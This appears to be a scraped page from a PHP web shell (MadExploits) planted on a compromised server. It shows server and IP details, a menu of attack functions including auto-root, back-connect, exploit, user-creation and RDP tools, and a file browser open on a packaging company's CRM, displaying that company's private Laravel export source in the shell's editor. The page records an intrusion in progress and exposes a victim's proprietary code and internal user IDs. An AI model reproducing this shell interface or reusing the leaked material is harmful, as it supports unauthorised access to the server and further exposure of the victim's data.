Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 172.70.111.75
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
crm.oxopackaging.com /
app /
Exports /
[ HOME SHELL ]
Name
Size
Permission
Action
AgentSaleExport.php
7.75
KB
-rw-r--r--
DailyLeadsExport.php
473
B
-rw-r--r--
DealExport.php
10.96
KB
-rw-r--r--
EstimationsExport.php
4.11
KB
-rw-r--r--
MarketingExport.php
11.3
KB
-rw-r--r--
MonthlyReportExport.php
2.38
KB
-rw-r--r--
OrderPNLExport.php
8.58
KB
-rw-r--r--
ProductionExport.php
8.54
KB
-rw-r--r--
ReordersExport.php
7.02
KB
-rw-r--r--
SalariesExport.php
8.01
KB
-rw-r--r--
ShippingExport.php
10.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AgentSaleExport.php
<?php namespace App\Exports; use App\Models\Deal; use Illuminate\Foundation\Auth\User; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; use Maatwebsite\Excel\Concerns\FromCollection; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\WithMapping; class AgentSaleExport implements FromCollection, WithHeadings, WithMapping { protected $deal_name; protected $user_deals; protected $from; protected $to; public function __construct($deal_name, $user_deals, $from, $to) { $this->deal_name = $deal_name; $this->user_deals = $user_deals; $this->from = $from; $this->to = $to; } /** * @return \Illuminate\Support\Collection */ public function collection() { $data = Deal::select('*') ->with([ 'client:id,name', 'client.emails:id,model_id,value', 'client.phoneNos:id,model_id,value', 'dealProducts:id,deal_id,product_id,product_style_id,product_length,product_height,product_width,product_measurement_unit_id,product_stock_id,product_color_id', 'dealProducts.product:id,name', 'dealProducts.productstyle:id,name', 'dealProducts.product_unit:id,unit', 'dealProducts.dealProductQuantityAndEstimationAmounts_sigle:id,deal_product_id,deal_product_quantity,deal_product_est_amount,deal_product_amount,receive_able_amount', 'vendor:id,name', 'production_details:id,deal_id,tframe,send_date,expected_receiving_date,receiving_date,qty' ]) ->where('deal_status', 1) ->orderBy('id', 'desc'); // Deal Name Filter if (!empty($this->deal_name)) { $data->where(function ($query) { $query->whereHas('client', function ($subQuery) { $subQuery->where('name', 'like', $this->deal_name . '%'); }) ->orWhereHas('client.emails', function ($subQuery) { $subQuery->where('value', 'like', $this->deal_name . '%'); }) ->orWhereHas('client.phoneNos', function ($subQuery) { $subQuery->where('value', 'like', $this->deal_name . '%'); }) ->orWhereHas('dealProducts', function ($subQuery) { $subQuery->where('order_number', 'like', $this->deal_name . '%') ->orWhere('bd_order_number', 'like', $this->deal_name . '%'); }); }); } // User Deals Filter if (!empty($this->user_deals)) { $data->where('owner_id', $this->user_deals); } else { if (!in_array(auth()->user()->id, [1, 63, 204, 106, 107, 148, 108, 109, 90, 94, 188, 207, 276])) { $data->where('owner_id', auth()->user()->id); } elseif (auth()->user()->id == 148) { $uid = User::find(auth()->user()->id); $data->whereIn('owner_id', explode(',', $uid->team_member)); } } // Date Range Filter if (!empty($this->from) && !empty($this->to)) { $from = date('Y-m-d', strtotime($this->from)); $to = date('Y-m-d', strtotime($this->to)); Log::debug('Date Range:', ['from' => $this->from, 'to' => $this->to]); $data->where(function ($query) use ($from, $to) { $query->whereBetween(DB::raw('DATE(bd_close_date)'), [$from, $to]) ->orWhereBetween(DB::raw('DATE(close_date)'), [$from, $to]); }); } else { $from = now()->startOfMonth()->format('Y-m-d'); $to = now()->endOfMonth()->format('Y-m-d'); Log::debug('Default Date Range:', ['from' => $from, 'to' => $to]); $data->where(function ($query) use ($from, $to) { $query->whereBetween(DB::raw('DATE(bd_close_date)'), [$from, $to]) ->orWhereBetween(DB::raw('DATE(close_date)'), [$from, $to]); }); } // Domain Filter if (!empty(request('domain_id'))) { $data->where('domain_id', request('domain_id')); } // Pipeline Stage Filter $data->where('deal_status', 1) ->where(function ($query) { $query->where('bd_pipeline_stage_id', 4) ->orWhere('pipeline_stage_id', 4); }); // Log Final Query $finalQuery = $data->toSql(); Log::debug('Final Query:', ['query' => $finalQuery]); // Return Results return $data->get(); // Or paginate: $data->paginate(50); } /** * Map the data for export. * * @param mixed $deal * @return array */ public function map($deal): array { $gprofit=0 ; $rev_in_pkr=0; $rev_com_in_pkr=0; $dollar_rev=0; $pk_rev=0; $commission_rev=0; $commission_dollar=0; $pro_cost=0; $est_pro_cost=0; $total_shipping_amount=0; $est_total_shipping_amount=0; $total_shipping_amount_pk=0; $total_pro=0; $i=1; $qty = $deal->dealProducts ->pluck('dealProductQuantityAndEstimationAmounts_sigle.deal_product_amount') ->filter(); if ($deal->commission) { $rev_in_pkrs = $qty->sum() - $deal->commission; // Summing all deal_product_amount values $rev_in_pkr = $rev_in_pkrs * $deal->dollar_rate; $dollar_rev += $qty->sum() - $deal->commission; $deal_product_amount = $qty->sum() - $deal->commission; $amt='$' . str_replace('-', '', $deal_product_amount); } else { $rev_in_pkr = $qty->sum() * $deal->dollar_rate; $dollar_rev += $qty->sum(); $amt='$' . $qty->sum(); // echo '$' . $qty->sum(); } $pk_rev+= $rev_in_pkr; $est_pro_cost+= $deal->est_production_cost; $pro_cost+= $deal->production_cost; $est_total_shipping_amount+=$deal->est_shipping_amount; $total_shipping_amount+=$deal->shipping_amount; $gprofit= $rev_in_pkr-$deal->production_cost-$deal->shipping_dollar_rate*$deal->shipping_amount-$commission_rev; if ($deal->commission) { if ($deal->production_cost && $deal->shipping_amount) { $total = $rev_com_in_pkr + $rev_in_pkr; } // Calculate gross profit percentage $gper = number_format(($gprofit * 100) / ($total ?: 1), 2) . '%'; } else { // Calculate gross profit percentage without commission $gper = number_format(($gprofit * 100) / ($rev_in_pkr ?: 1), 2) . '%'; } $production_cost=$deal->production_cost/$deal->dollar_rate; return [ $deal->order_no, $deal->client->name??'', date('d-m-Y',strtotime($deal->close_date)), // Assuming the Deal model has a user relationship $deal->dealProducts->pluck('product.name')->filter()->join(', ') , $deal->dealProducts->pluck('productstyle.name')->filter()->join(', '), $amt, $production_cost, $deal->shipping_amount, $gper, $deal->owner->first_name??'' .' ' .$deal->owner->last_name??'' ]; } /** * Add headings to the export file. * * @return array */ public function headings(): array { return [ 'Order No', 'Client Name', 'Deal Closing Date', 'Product', 'Box Style', '$ Revenue', '$ Production', '$ Shipping', 'Gross Profit %', 'Agent', ]; } }
Close